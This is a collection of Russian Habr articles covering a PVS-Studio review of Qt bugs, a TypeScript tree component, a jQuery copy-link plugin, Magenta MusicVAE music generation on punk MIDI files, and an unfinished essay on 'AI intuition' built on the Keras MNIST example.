QXmlStreamWriterPrivate::Tag &tag = tagStack_pop();
lastNamespaceDeclaration = tag.namespaceDeclarationsSize;
lastWasStartElement = false;
} else {
write(">");
}
inStartElement = inEmptyElement = false;
lastNamespaceDeclaration = namespaceDeclarations.size();
return hadSomethingWritten;
}
```
Предупреждение PVS-Studio: V519 CWE-563 The 'lastNamespaceDeclaration' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 3188, 3194. qxmlstream.cpp 3194
Выделю суть ошибки:
```
if (inEmptyElement) {
lastNamespaceDeclaration = tag.namespaceDeclarationsSize;
}
lastNamespaceDeclaration = namespaceDeclarations.size();
```
**Дефект N96**
```
void QRollEffect::scroll()
{
....
if (currentHeight != totalHeight) {
currentHeight = totalHeight * (elapsed/duration)
+ (2 * totalHeight * (elapsed%duration) + duration)
/ (2 * duration);
// equiv. to int((totalHeight*elapsed) / duration + 0.5)
done = (currentHeight >= totalHeight);
}
done = (currentHeight >= totalHeight) &&
(currentWidth >= totalWidth);
....
}
```
V519 CWE-563 The 'done' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 509, 511. qeffects.cpp 511
Всё то же самое, что и в предыдущем случае. Обратите внимание на переменную *done*.
Заключение
----------
Даже поверхностно просматривая отчёт, я выписал почти 100 ошибок. Я доволен результатами работы PVS-Studio.
Конечно, подобные редкие проверки кода не имеют ничего общего с улучшением качества и надёжности кода. Они только демонстрируют возможности анализатора кода. Инструменты статического анализа должны применяться регулярно. В этом случае они снижают стоимость исправления ошибок и защищают приложения от многих потенциальных уязвимостей.
Спасибо за внимание. Чтобы быть в курсе наших новых публикаций, приглашаю подписаться на один из наших каналов:1. VK.com: [pvsstudio\_rus](https://vk.com/pvsstudio_rus)
2. «Олдскульный» RSS: [viva64-blog-ru](http://feeds.feedburner.com/viva64-blog-ru)
3. Twitter: [@pvsstudio\_rus](https://twitter.com/pvsstudio_rus)
4. Instagram: [@pvsstudio\_rus](https://www.instagram.com/pvsstudio_rus/)
5. Telegram: [@pvsstudio\_rus](https://t.me/pvsstudio_rus)
[](https://www.viva64.com/en/b/0584/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [A Third Check of Qt 5 with PVS-Studio](https://www.viva64.com/en/b/0584/) | https://habr.com/ru/post/426485/ | null | ru | null |
# Простой компонент на TypeScript для отображения дерева
В процессе работы над небольшим web-проектом мне потребовался компонент для отображения дерева элементов на странице. Компонент должен позволять развернуть/свернуть узлы дерева, обработать клик по элементу, добавить к дереву новые узлы, в общем предоставлять самые основные функции «treeview».
Условия использования компонента при этом несколько отличаются от «общепринятых» в лучшую сторону — в качестве среды исполнения будут применяться современные (IE9+) браузеры (web-проект предполагается использовать в рамках полностью контролируемой внутренней сети). Еще одним моментом является платформа, на базе которой разрабатывается серверная часть. Это ASP.NET MVC, а значит желательно, чтобы компонент поставлялся в том числе в виде NuGet-пакета, дружественного к типовой структуре каталогов ASP.NET MVC-приложения.
В процессе работы над вопросом я изучил существующие варианты и, как водится, изобрел очередной велосипед, но при этом свой собственный, ~~с блэкджеком и шлюзами~~.
На момент написания этой статьи, в сети Интернет можно найти *шесть* наиболее популярных компонентов для отображения дерева элементов.
1. [**jsTree**](http://www.jstree.com/demo). Судя по [прошлогоднему обсуждению jsTree](http://habrahabr.ru/post/151239/) на хабрахабр, некоторая часть разработчиков отдает предпочтение Dynatree.
2. [**jqTree**](http://mbraak.github.io/jqTree/). Производит наиболее приятное впечатление. Возможно из-за неплохого дизайна и подробной документации.
3. [**jQuery TreeView plugin**](http://jquery.bassistance.de/treeview/demo/). Автор сообщает о том, что проект больше активно не развивается и рекомендует использовать jqTree.
4. [**Dynatree**](http://wwwendt.de/tech/dynatree/doc/samples.html).
5. [**dhtmlxTree**](http://dhtmlx.com/docs/products/dhtmlxTree/samples/index.html).
6. [**dTree**](http://www.destroydrop.com/javascripts/tree/default.html).
Некоторые выводы.
* Для всех характерны накладные расходы по поддержке старых клиентов.
* Первые четыре требуют для своей работы jquery. Пятый использует свой фреймворк. Только последний является самодостаточным.
* При этом последний представляет собой относительно древнего «динозавра» (2003 год) и доступен только в виде zip-архива.
* Публичный контроль версий присутствует только у первых четырех. При этом на GitHub размещены репозитории только первых трех. Репозиторий Dynatree расположен на [Google Code](https://code.google.com/p/dynatree/). Тут следует отметить, что судя по всему Dynatree эволюционирует в проект Fancytree, который расположен уже на [GitHub](https://github.com/mar10/fancytree/).
* Ни один из проектов не включает NuGet-пакет.
Взвесив все «за» и «против», я решил изобрести собственный велосипед со следующими характеристиками: максимально простой, дружественный к стандартному шаблону приложения на базе ASP.NET MVC и Visual Studio 2012, без груза поддержки устаревших браузеров. Велосипед был изобретен. Его отличительными особенностями стали:
* реализация на базе [TypeScript](http://www.typescriptlang.org/) и [LESS](http://www.lesscss.org/),
* работа с информационной моделью дерева в соответствии с шаблоном [Composite](http://andrey.moveax.ru/patterns/oop/structural/composite/).
Для изолирования CSS правил используется простой, но, на мой взгляд, наиболее правильный подход.
1. К элементу-контейнеру дерева добавляется имя класса, соответствующее как бы namespace'у.
2. Селекторы всех CSS правил для компонента контекстно-[дочерние](http://htmlbook.ru/samcss/dochernie-selektory), где в качестве единственно обязательного корневого родителя указан класс из предыдущего пункта.
Таким образом, CSS правила можно построить на основе селекторов тегов, не создавая для каждого элемента специальный класс. Использование LESS делает исходный код таких CSS правил довольно наглядным.
| LESS | CSS |
| --- | --- |
|
```
.resnyanskiy-tree >
ul.container {
border: 1px dotted gray;
font-family: Tahoma;
font-size: 10pt;
padding: 1px;
li {
list-style-type: none;
background-image: url(images/vline.png);
background-repeat: repeat-y;
ul {
padding-left: 16px;
}
span {
span {
height: 16px;
}
}
...
}
```
|
```
.resnyanskiy-tree > ul.container {
border: 1px dotted gray;
font-family: Tahoma;
font-size: 10pt;
padding: 1px;
}
.resnyanskiy-tree > ul.container li {
list-style-type: none;
background-image: url(images/vline.png);
background-repeat: repeat-y;
}
.resnyanskiy-tree > ul.container li ul {
padding-left: 16px;
}
.resnyanskiy-tree > ul.container li span span {
height: 16px;
}
...
```
|
Основной TypeScript-класс `Tree` имеет три открытых члена.
* Метод `updateNode(...)` добавляет элементы в указанный узел.
* Свойства `onBranchExpand` и `onNodeClick` используются для указания обработчиков соответствующих событий.
Два закрытых метода `renderNodeItemsTo(...)` и `toggleNodeItemsVisible(...)` реализуют основную логику. Изменение видимости элементов дерева реализуется посредством добавления/удаления DOM-элементов (для удаления используется `Element.removeChild(...)` — [jsperf](http://jsperf.com/innerhtml-vs-removechild)).
Метод `toggleNodeItemsVisible(...)` возвращает `false`, если указанный узел дерева (JS-объект) не имеет элементов. Благодаря этому условие вызова обработчика `onBranchExpand` выглядит довольно лаконично:
```
if(!this.toggleNodeItemsVisible(node) && (this.onBranchExpand instanceof Function)) {
this.onBranchExpand(nodeId);
}
```
Использование TypeScript+LESS при реализации компонента помимо прочего существенно упрощает его применение в своих проектах и доработку под свои нужды.
GitHub — [github.com/resnyanskiy/js.tree](https://github.com/resnyanskiy/js.tree)
NuGet — [nuget.org/packages/resnyanskiy.js.tree](https://nuget.org/packages/resnyanskiy.js.tree) | https://habr.com/ru/post/183434/ | null | ru | null |
# jQuery плагин для добавления ссылок в буфер обмена
У многих из нас есть блоги, интернет-магазины, новостные сайты etc… Понятное дело стараемся опубликовывать оригинальный контент, но что же происходит после появления контента в интернетах, его конечно же просматривают и если он интересный, пользователи иногда обмениваются ссылкой на страничку с контентом. Новые переходы на нужную страницу и нам очень хорошо, а что если наш отличный текст просто взяли скопировали и скинули в аську\скайпик\почту — наш текст ушел, а перехода нету :(.
Запретить копирование, это очень неправильно, весело и смешно ©, но мы ведь можем при копировании добавить в буфер обмена ссылку на наш сайтик. Рассмотрим как же нам это лучше сделать:
— Написать обработчик события для CTRL + C, «Копировать», придется работать с буфером обмена, а с ним не работается в современных браузерах.
— Использовать костыли в виде flash. Тоже не очень, +1 зависимость, да и в 10 версии для копирования в буфер нужен клик по интерфейсу флешки.
— А, что если будем смотреть что юзер выделяет **курсором** и аккуратно подсовывать нашу ссылку, хе хе хе, вот для реализации такого метода я и написал эту статью.
Работает все это как плагин для jQuery.
Создадим элемент на основе инициализации плагина, который будем подсовывать копипастеру.
> `var options = {htmlcopytxt: '
> More: ['">']('</font>+window.location.href+<font color=)+window.location.href+'', minlen:25, addcopyfirst: false}`
Если копипастер выделил текст, то добавляем нашу ссылку **в** выделенный текст.
> `$(this).mouseup(function(){
>
> if(window.getSelection){ //для хороших
>
> selected=window.getSelection();
>
> seltxt=selected.toString();
>
> nslct = selected.getRangeAt(0);
>
> seltxt = nslct.cloneRange();
>
> seltxt.collapse(false);
>
> seltxt.insertNode(copy\_sp);
>
> nslct.setEndAfter(copy\_sp);
>
> selected.removeAllRanges();
>
> selected.addRange(nslct);
>
> } else if(document.selection){ //для плохих
>
> selected = document.selection;
>
> nslct=selected.createRange();
>
> seltxt=nslct.text;
>
> seltxt=nslct.duplicate();
>
> seltxt.collapse(false);
>
> seltxt.pasteHTML(copy\_sp.outerHTML);
>
> nslct.setEndPoint("EndToEnd",seltxt);
>
> nslct.select();
>
> }
>
> });`
При новом mousedown будем чистить старый копирайт-элемент со ссылкой.
> `$(this).mousedown(function(){
>
> $('#ctrlcopy').remove();
>
> });`
Естественно ссылка не должна быть видна, добавляем нужное оформление для нее:
> `<style>
>
> #ctrlcopy {
>
> height:1px;
>
> overflow:hidden;
>
> position:absolute;
>
> width:1px;
>
> margin: 5px 0 0 -1px;
>
> line-height:0;
>
> opacity: 0;
>
> }
>
> style>`
Как пользоваться:
— Плагин: [Скачать addtocopy](http://tops.net.ua/jquery_addtocopy/js/addtocopy.js "Скачать addtocopy")
> `"text/javascript"</font>><br/>
> $(<font color="#0000ff">function</font>(){<br/>
> $(<font color="#A31515">"#content"</font>).addtocopy({htmlcopytxt: <font color="#A31515">'<br>Подробнее: <a href="'</font>+window.location.href+<font color="#A31515">'">'</font>+window.location.href+<font color="#A31515">'</a>'</font>, minlen:35, addcopyfirst: false});<br/>
> });<br/>`
##### Опции обрабатываемые плагином:
| | |
| --- | --- |
| **Опция** | **Описание** |
| *htmlcopytxt* | что добавлять к скопированному в буфер, принимает html |
| *minlen* | минимальная длинна выделяемого текста, принимает int |
| *addcopyfirst* | добавлять *htmlcopytxt* в начало буфера обмена или в конец, true/false |
Пример: **[тут](http://tops.net.ua/jquery_addtocopy/ "Пример использования addtocopy")**
Известные глюки:
В Опере текст выделяется с лева на право
В Firefox'e если addcopyfirst: true, то текст в первый раз не выделяется | https://habr.com/ru/post/101763/ | null | ru | null |
# Мечтают ли андроиды об электропанке? Как я учил нейросеть писать музыку
На курсах по машинному обучению в [Artezio](http://artezio.com/) я познакомился с учебной моделью, способной создавать музыку. Музыка – существенная часть моей жизни, я много лет играл в группах (панк-рок, регги, хип-хоп, рок и т. д.) и являюсь фанатичным слушателем.
К сожалению, многие группы, большим поклонником которых я был в юности, распались по разным причинам. Или не распались, но то, что они теперь записывают… в общем, лучше бы они распались.
Мне стало любопытно, существует ли сейчас готовая модель, способная обучиться на треках одной из моих любимых групп и создать похожие композиции. Раз у самих музыкантов уже не очень получается, может, нейросеть справится за них?
[Источник](https://www.4djmusic.com/wp-content/uploads/2015/06/Robots_Make_Music_www.lawebdeldj.com_.jpg)
Изучая готовые модели, я быстро наткнулся вот на [такую статью](http://www.asimovinstitute.org/analyzing-deep-learning-tools-music/) с обзором шести наиболее известных вариантов. Речь идет, конечно, о цифровых форматах музыки. Из статьи видно, что можно выделить два главных подхода к генерации музыки: на основе оцифрованного аудиопотока (звука, который мы слышим из колонок – raw audio, wav файлы) и на основе работы с MIDI (нотное представление музыки).
Варианты с raw audio я отбросил, и вот почему.
* Результаты не впечатляют – использование таких моделей для полифонической музыки дает весьма специфический результат. Это необычно, можно создавать интересные полотна, но не подходит для моих целей: звучит странно, а мне хотелось услышать что-то похожее на оригинал.
[Источник](https://www.popmech.ru/)
Удачный пример с фортепианной музыкой:
А с оркестровой музыкой или роком звучит уже гораздо более странно:
Вот [тут](http://dadabots.com/) ребята пробовали обрабатывать Black Metal и не только в raw audio.
* В композициях моих любимых групп звучат разные инструменты – вокал, ударные, бас, гитары, синтезаторы. Каждый инструмент звучит вместе с остальными. Я ищу модель, которая действовала бы так же, то есть работала бы не только с отдельными инструментами, но и учитывала их совместное звучание.
Когда музыканту необходимо выучить партию какого-нибудь инструмента по слуху, он пытается выделить из всего звукового потока нужный ему инструмент. Затем он повторяет его звучание, пока не добивается схожего результата. Задача не самая простая даже для человека с хорошим слухом – музыка бывает сложной, инструменты «сливаются».
[Источник](http://tradiciadrevnih.ru/)
Я сталкивался с программными средствами, которые пытались решить аналогичную задачу. Есть несколько проектов, которые делают это на основе машинного обучения. Например, пока я писал этот текст, Magenta выпустила новый инструмент Wave2Midi2Wave, способный «снимать» ноты фортепиано и реалистично их «отыгрывать». Есть и другие инструменты, хотя в целом эта задача пока не решена.
Так вот, чтобы выучить партию из произведения, легче всего взять готовые ноты. Это самый простой способ. Логично предположить, что и нейросети будет легче работать с нотным представлением музыки, где каждый инструмент представлен отдельной дорожкой.
* В случае raw audio результат является миксом всех инструментов, партии нельзя по отдельности загрузить в секвенсор (аудиоредактор), подправить, изменить звучание и так далее. Меня вполне устроит, если нейросеть сочинит хит, но ошибется в паре нот – при работе с нотами я легко их подправлю, с raw audio это уже почти невозможно.
В нотной записи тоже есть свои минусы. Она не учитывает массу нюансов исполнения. Когда речь идет о MIDI, не всегда известно, кто эти MIDI файлы составлял, насколько они близки к оригиналу. Может быть, составитель просто ошибся, ведь точно «снять» партию – не простая задача.
При работе с полифоническими нотами надо следить, чтобы инструменты в каждый момент времени были созвучны. Кроме этого, важно, чтобы последовательность этих моментов представляла собой логичную с точки зрения человека музыку.
Оказалось, что решений, которые могли бы работать с нотами, да еще при этом не с одним инструментом, а с несколькими звучащими одновременно не так много. Проект Magenta от Google TensorFlow я изначально упустил из вида, ведь он был описан как «не полифонический». На тот момент библиотека MusicVAE еще не была опубликована, поэтому я остановился на проекте BachBot.
[Источник](https://wallpaperscraft.ru/)
BachBot
-------
Оказалось, что решение моей задачи уже есть. Послушайте мелодию [Happy Birthday](https://soundcloud.com/bachbot/happy-birthday?in=bachbot/sets/bachbot-com), обработанную BachBot и звучащую как хорал Баха.
Хорал – специфическая музыка, она состоит из четырех голосов: сопрано, альта, тенора и баса. Каждый из инструментов может выдавать одну ноту одновременно. Тут придется немного углубиться в музыку. Мы будем говорить о музыке в размерности четыре четверти.
В нотной записи у ноты есть два показателя – высота тона (до, ре, ми…) и длительность (целая, половинная, восьмая, шестнадцатая, тридцать вторая). Соответственно, нота длительностью целая звучит весь такт, две половинных звучат весь такт, шестнадцать шестнадцатых звучат весь такт.
При подготовке данных для тренировки нейросети создатели BachBot учли следующее:
* чтобы не сбивать модель аккордами из разных тональностей, которые вместе не будут звучать благозвучно, все хоралы привели к одной тональности;
* нейронной сети на вход надо подавать дискретные значения, а музыка – процесс непрерывный, значит, необходима дискретизация. Один инструмент может играть длинную целую ноту, а другой в это же время несколько шестнадцатых. Чтобы решить эту проблему, все ноты были разбиты на шестнадцатые. Иными словами, если в нотах встречается четвертная нота, она поступает на вход четыре раза как одна и та же шестнадцатая – в первый раз с флагом, что ее нажали, а в последующие три раза с флагом, что она продолжается.
Формат данных получается такой – (высота тона, новая нота | продолжение звучания старой ноты)
(56, True) #Сопрано
(52, False) #Альт
(47, False) #Тенор
(38, False) #Бас
Прогнав все хоралы из популярного набора данных music21 через такую процедуру, авторы BachBot обнаружили, что в хоралах используется не так много комбинаций сочетаний из четырех нот (если привести их к одной тональности), хотя, казалось бы, потенциально их может быть 128 х 128 х 128 х 128 (128 ступеней высот тона используется в midi). Размер условного словаря не такой уж и большой. Это любопытное замечание, мы вернемся к нему, когда будем говорить о MusicVAE. Итак, у нас есть хоралы Баха, записанные в виде последовательностей вот таких четверок.
Часто говорят, что музыка – это язык. Поэтому не удивительно, что создатели BachBot применили популярную в NLP (Natural Language Processing) технологию к музыке, а именно натренировали [LSTM-сеть](https://habr.com/company/wunderfund/blog/331310/) на сформированном датасете и получили модель, способную дополнять один или несколько инструментов или даже создавать хоралы с нуля. То есть вы задаете альт, тенор и бас, а BachBot дописывает за вас мелодию сопрано, и все вместе звучит, как Бах.
Вот еще один пример:
Звучит здорово!
Подробнее можно посмотреть вот [это видео](https://youtu.be/q5cqLmMd-xY). Там есть занятная аналитика, собранная на основе опроса на сайте [bachbot.com](http://bachbot.com/)
Пользователям предлагается отличить оригинальные хоралы Баха от музыки, созданной нейросетью. В результатах упоминается, что если нейросеть создает партию баса при всех остальных заданных, то только половина пользователей может отличить созданные нейросетью хоралы от оригинальных. Забавно, но больше всего путаются музыкальные эксперты. С остальными инструментами дела обстоят чуть лучше. Для меня как для басиста звучит обидно – скрипач, похоже, пока еще нужен, а вот басистам пора освежить в памяти навыки работы с гипсокартоном.
Magenta
=======
Изучая BachBot, я обнаружил, что он был включен в проект Magenta (Google TensorFlow). Я решил внимательнее к нему присмотреться и обнаружил, что в рамках Magenta разработано несколько интересных моделей, одна из которых как раз посвящена работе с полифоническими композициями. Magenta сделали свои замечательные инструменты и уже даже запустили плагин для аудиоредактора Ableton, что особенно приятно в прикладном плане для музыкантов.
Мои фавориты: [beat blender](https://experiments.withgoogle.com/ai/beat-blender/view/) (создает вариации на тему заданной барабанной партии) и
[latent loops](https://teampieshop.github.io/latent-loops/) (создает переходы между мелодиями).
Основная идея инструмента MusicVAE, которым я решил воспользоваться, заключается в том, что создатели попробовали совместить в сети LSTM модель и вариационный автоэнкодер – [VAE](https://neurohive.io/ru/osnovy-data-science/variacionnyj-avtojenkoder-vae/).
Если помните, в разговоре про Bach Bot мы заметили, что словарь аккордов состоит не из 128х128х128х128 элементов, а значительно меньше. Создатели MusicVAE тоже заметили это и решили использовать сжатое латентное пространство.
Кстати, что характерно, для тренировки MusicVAE не надо переводить исходники в одну тональность. Транспонирование не нужно, полагаю, потому что исходники все равно будут преобразованы автоэнкодером и информация о тональности исчезнет.
VAE устроен таким образом, что позволяет декодкеру эффективно восстанавливать данные из тренировочного датасета, при этом латентное пространство представляет собой гладкое распределение особенностей входных данных.
Это очень важный момент. Это дает возможность создавать похожие объекты и проводить логически осмысленную интерполяцию. В оригинальном пространстве у нас 128х128х128х128 вариантов сочетания звучания четырех нот, но на самом деле используется (приятно звучат для человеческого уха) далеко не все. Вариационный автоэнкодер превращает их в значительно меньший набор в скрытом пространстве, причем можно придумать математические операции на этом пространстве, имеющие осмысленное значение с точки зрения оригинального пространства, например, соседние точки будут являться похожими музыкальными фрагментами.
Хороший пример – как дорисовать очки на фотографию при помощи автоэнкодера – в [этой статье](https://neurohive.io/ru/osnovy-data-science/variacionnyj-avtojenkoder-vae/). Почитать подробнее, как устроена Muisc VAE, можно на официальном сайте Magenta вот в [этой статье](https://magenta.tensorflow.org/music-vae), там же есть ссылка на arXiv.
Итак, инструмент выбран, осталось использовать его с моей первоначальной целью – создать новую музыку на основе уже записанных треков и оценить, насколько это получится похоже на звучание оригинальной группы. Magenta не работает на моем ноутбуке с Windows да и довольно долго обсчитывает модель без GPU. Помучившись с виртуальными машинами, docker контейнером и т.д., я решил воспользоваться облаком.
Google предоставляет [colab тетради](https://colab.research.google.com/), в которых вполне можно баловаться с моделями Magenta. Однако в моем случае обучить модель не удалось, процесс все время падал из-за различных ограничений – объема доступной памяти, отключения по таймауту, отсутствия нормальной командной строки и root прав для установки необходимых библиотек. Гипотетически там даже есть возможность использовать GPU, но, повторюсь, установить модель и запустить мне не удалось.
Я задумался о покупке сервера и, о, удача, обнаружил, что Google предоставляет облачные сервисы Google Cloud с GPU, причем там даже есть бесплатный триальный период. Правда, оказалось, что в России они официально доступны только юридическим лицам, но в тестовом бесплатном режиме меня пустили.
Итак, я создал виртуальную машину в GoogleCloud с одним модулем GPU, нашел в интернете несколько midi файлов одной из моих любимых групп и залил их в облако в папку midi.
Устанавливаем Magenta:
```
pip install magenta-gpu
```
Как здорово, что все это можно установить одной командой, подумал я, но… ошибки. Похоже, придется прикоснуться к командной строке, жаль.
Смотрим ошибки: на облачной машине не устанавливается библиотека rtmidi, без которой не работает Magenta.
А она, в свою очередь, падает из-за отсутствия пакета libasound2-dev, а еще у меня нет прав root.
Не так страшно:
```
sudo su root
apt-get install libasound2-dev
```
Ура, теперь pip install rtmidi проходит без ошибок, равно как и pip install magenta-gpu.
Находим в интернете и загружаем исходные файлы в папку midi. Звучат они примерно [так](http://en.midimelody.ru/rancid/).
Преобразовываем midi в формат данных, с которыми уже может работать сеть:
```
convert_dir_to_note_sequences \
--input_dir=midi\
--hparams=sampling_rate=1000.0\
--output_file=notesequences_R2Midi.tfrecord \
--log=DEBUG \
--recursive
```
и запускаем обучение
```
music_vae_train \
--config=hier-multiperf_vel_1bar_med \
--run_dir=/home/RNCDtrain/ \
--num_steps=1 \
--checkpoints_to_keep=2 \
--hparams=sampling_rate=1000.0 \
--hparams=batch_size=32,learning_rate=0.0005 \
--num_steps=5000 \
--mode=train \
--examples_path=notesequences_R2Midi.tfrecord
```
Опять проблема. Tensorflow падает с [ошибкой](https://github.com/tensorflow/probability/issues/215) – не может найти библиотеку, благо несколько дней назад кто-то уже описал эту ошибку, а исходники на Python можно исправить.
Залезаем в папку
```
/usr/local/lib/python2.7/dist-packages/tensorflow_probability/python/distributions#
```
и заменяем строчку импорта, как описано в баге на github.
Запускаем music\_vae\_train еще раз и… Ура! Обучение пошло!
[Источник](http://www.metalinjection.net/)
hier-multiperf\_vel\_1bar\_med - я использую полифоническую модель (до 8 инструментов), выдающую по одному такту.
Важный параметр – checkpoints\_to\_keep=2, объем диска в облаках ограничен, одна из проблем – у меня все время обрывался процесс обучения из-за переполнения диска, чекпоинты достаточно тяжелые – по 0.6-1гб.
Где-то на 5000 эпох ошибка начинает скакать вокруг 40-70. Не знаю, хороший это результат или нет, но, похоже, что при небольших тренировочных данных, дальше сеть переобучается и нет смысла тратить столь любезно предоставленное мне бесплатно время графических процессоров в гугловских датацентрах. Переходим к генерации.
По какой-то причине при установке Magenta не установила собственно файл генерации, пришлось докинуть его руками в папку к остальным:
```
curl -o music_vae_generate.py https://raw.githubusercontent.com/tensorflow/magenta/master/magenta/models/music_vae/music_vae_generate.py
```
Наконец, создаем фрагменты:
```
music_vae_generate --config=hier-multiperf_vel_1bar_med --checkpoint_file=/home/RNCDtrain/train/ --mode=sample --num_outputs=32 --output_dir=/home/andrey_shagal/ --temperature=0.3
```
config — тип генерации, точно такой же, как и при тренировке — мультитрек, 1 такт
checkpoint\_file – папка, откуда взять последний файл с обученной моделью
mode — sample – создать семпл (есть еще вариант interpolate – создать переходный такт между двумя тактами)
num\_outputs – сколько штук сгенерить
temperature – параметр рандомизации при создании семпла, от 0 до 1. В 0 результат более предсказуем, ближе к первоисточникам, в 1 — я художник, я так вижу.
На выходе я получаю 32 фрагмента по такту. Запустив генератор несколько раз, я слушаю фрагменты и склеиваю лучшие в один трек: neurancid.mp3.
Вот так «я провел этим летом». Я доволен. Конечно, радио «Максимум» вряд ли возьмет его в плей-лист, но, если прислушаться, это действительно похоже на исходную группу Rancid. Звучание, конечно, отличается от студийной записи, но мы в первую очередь работали с нотами. Дальше уже простор для действий – обрабатывать midi различными VST плагинами, перезаписать партии с живыми музыкантами или дождаться, пока ребята из Wave2Midi2Wave доберутся и до гитар с перегрузом.
К нотам же претензий нет. В идеале мне бы хотелось, чтобы нейросеть создала шедевр или хотя бы хит для Billboard top 100. Но пока она научилась у рокеров ~~употреблять алкоголь и наркотики,~~ играть весь такт одну ноту восьмыми (на самом деле не только, а я по-отечески горжусь ее переходом с 20 по 22 секунду). Этому есть причины, и о них дальше.
1. Небольшой объем данных.
2. Модель, которую я использовал, выдает фрагменты в размере одного такта. В панк-роке в рамках одного такта, как правило, происходит не так много событий.
3. Интересные переходы и мелодичность работают как раз на фоне качёвых риффов, переходов от аккорда к аккорду, а автоэнкодер в совокупности с небольшим объемом данных, похоже, большинство мелодий потерял, да еще и свел все риффы к двум созвучным и нескольким атональным аккордам. Нужно попробовать модель, работающую с 16 тактами, жаль, в ней доступны только три голоса.
Я связывался с разработчиками, они рекомендовали попробовать уменьшить размерность латентного пространства, ведь они свою сеть обучали на 200 000 треках, а я на 15. Мне видимого эффекта от уменьшения z-пространства добиться не удалось, но есть еще с чем повозиться.
Кстати, однообразие и монотонность – это далеко не всегда минус. От шаманских ритуалов до техно-вечеринки, как известно, один шаг. Надо попробовать обучить модель на чем-то таком — рейве, техно, дабе, регги, хип-хоп минусах. Наверняка, есть шанс создать что-то приятно зомбирующее. Я нашел штук 20 песен Боба Марли в midi и, вуа-ля, очень приятный луп:
Выше midi партии перезаписаны живым басом и гитарами, обработаны VST синтезаторами, чтобы фрагмент звучал сочнее. В оригинале сеть выдала просто ноты. Если проиграть их стандартным midi плеером, то звучит это так:
Наверняка, если создать некоторое количество базовых тематических барабанных рисунков, запустить их в beat blender + базовые партии баса и синтов с latent loop (о них было выше), вполне можно запустить алгоритм для техно-радио, которое будет непрерывно создавать новые треки или даже один бесконечный трек. Вечный кайф!
MusicVAE также предоставляет возможность натренировать сеть на генерацию 16-ти тактовых фрагментов трио – ударные, бас и лид. Тоже достаточно интересно. Входные данные –мультитрековые midi файлы – система разбивает на тройки во всех возможных комбинациях и дальше на этом обучает модель. Такая сеть требует значительно больше ресурсов, но и результат сразу 16 тактов! Невозможно устоять. Я попробовал представить, как могла бы звучать группа, которая играет что-то среднее между Rancid и NOFX, загрузив для обучения примерно по равному количеству треков от каждой группы:
Тут также midi партии переписаны живыми гитарами. Стандартным midi плеером так:
Интересно! Это уже определенно лучше моей первой группы! И, кстати, эта же модель выдает нам достойный фри джаз:
Проблемы, с которыми я столкнулся:
1. Отсутствие хорошего, удобного стенда, который бы сократил время на ожидание обучения. Модель работает только под linux, обучение длительное, без GPU очень долго, а все время хочется попробовать поменять параметры и посмотреть, что получится. Например, облачный сервер с одним GPU процессором 100 эпох для модели «трио на 16 тактов» обсчитывал 8 часов.
2. Типичная проблема машинного обучения – недостаток данных. Всего 15 midi файлов – это очень мало, чтобы понять музыку. Нейросеть, в отличие от меня в юности, не заслушивала 6 альбомов Rancid до дыр, не ходила на концерты, этот результат получен из 15 неизвестно кем составленных midi треков, которые далеки от оригинала. Вот если облепить гитариста датчиками и снимать каждый призвук от каждой ноты… Посмотрим, как будет развиваться идея Wave2Midi2Wave. Может быть, через несколько лет можно будет отказаться от нот при решении такой задачи.
3. Музыкант должен попадать четко в ритм, но не идеально. В выходных midi в нотах (например, в ударных) нет динамики, все они исполнены с одинаковой громкостью, точно в клик (как говорят музыканты, т.е. ровно в доли такта), даже если случайным образом их разнообразить, то музыка начинает звучать живее и приятнее. Опять же этим вопросом уже занимается Wave2Midi2Wave.
Теперь вы имеете некоторое представление о возможностях ИИ в создании музыки и моих музыкальных предпочтениях. Как вам кажется, какая роль ждет ИИ в творческом процессе в будущем? Может ли машина создавать музыку наравне или даже лучше чем человек, быть помощником в творческом процессе? Или искусственный интеллект прославится на музыкальном поприще только примитивными поделками. | https://habr.com/ru/post/439546/ | null | ru | null |
# Интуиция Искусственного Интеллекта — миф или реальность?
Одно из самых известных, наиболее интересное и совсем не изученное свойство человеческого разума с давних пор привлекавшее исследователей это интуиция.
Со времен древности философы и математики пытались хоть как как то понять и определить смысл этого могучего нашего свойства.
Еще Платон разделял и выделял нелогическое познание,
Декарт, например, утверждал: «Под интуицией я разумею не веру в шаткое свидетельство чувств и не обманчивое суждение беспорядочного воображения, но понятие ясного и внимательного ума, настолько простое и отчётливое, что оно не оставляет никакого сомнения в том, что мы мыслим, или, что одно и то же, прочное понятие ясного и внимательного ума, порождаемое лишь естественным светом разума и благодаря своей простоте более достоверное, чем сама дедукция…».
Гегель указывал на непосредственное знание, и даже Фейербах упомянул о чувственности познания!
В данной статье автор попытается провести такое же исследование интуиции, но не человеческой, нам всем знакомой и известной, а определить и показать интуицию у искуственного интеллекта, у нейронной сети.
Итак начнем!
для изучения и препарирования возьмем уже привычный, вдоль и поперек изученный, насквозь понятный пример — классика ML, handwritten images MNIST.
И возьмем в дело также всем известный, многократно проверенный и изученный пример сети с
[сайта keras](https://keras.io/examples/vision/mnist_convnet/) или с
[Github](https://github.com/keras-team/keras-io/blob/master/examples/vision/mnist_convnet.py).
```
"""
Title: Simple MNIST convnet
Author: [fchollet](https://twitter.com/fchollet)
Date created: 2015/06/19
Last modified: 2020/04/21
Description: A simple convnet that achieves ~99% test accuracy on MNIST.
"""
import numpy as np
from tensorflow import keras
from tensorflow.keras import layers
# Model / data parameters
num_classes = 10
input_shape = (28, 28, 1)
# the data, split between train and test sets
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
# Scale images to the [0, 1] range
x_train = x_train.astype("float32") / 255
x_test = x_test.astype("float32") / 255
# Make sure images have shape (28, 28, 1)
x_train = np.expand_dims(x_train, -1)
x_test = np.expand_dims(x_test, -1)
print("x_train shape:", x_train.shape)
print(x_train.shape[0], "train samples")
print(x_test.shape[0], "test samples")
# convert class vectors to binary class matrices
y_train = keras.utils.to_categorical(y_train, num_classes)
y_test = keras.utils.to_categorical(y_test, num_classes)
model = keras.Sequential(
[
keras.Input(shape=input_shape),
layers.Conv2D(32, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Conv2D(64, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Flatten(),
layers.Dropout(0.5),
layers.Dense(num_classes, activation="softmax"),
]
)
model.summary()
batch_size = 512
epochs = 15
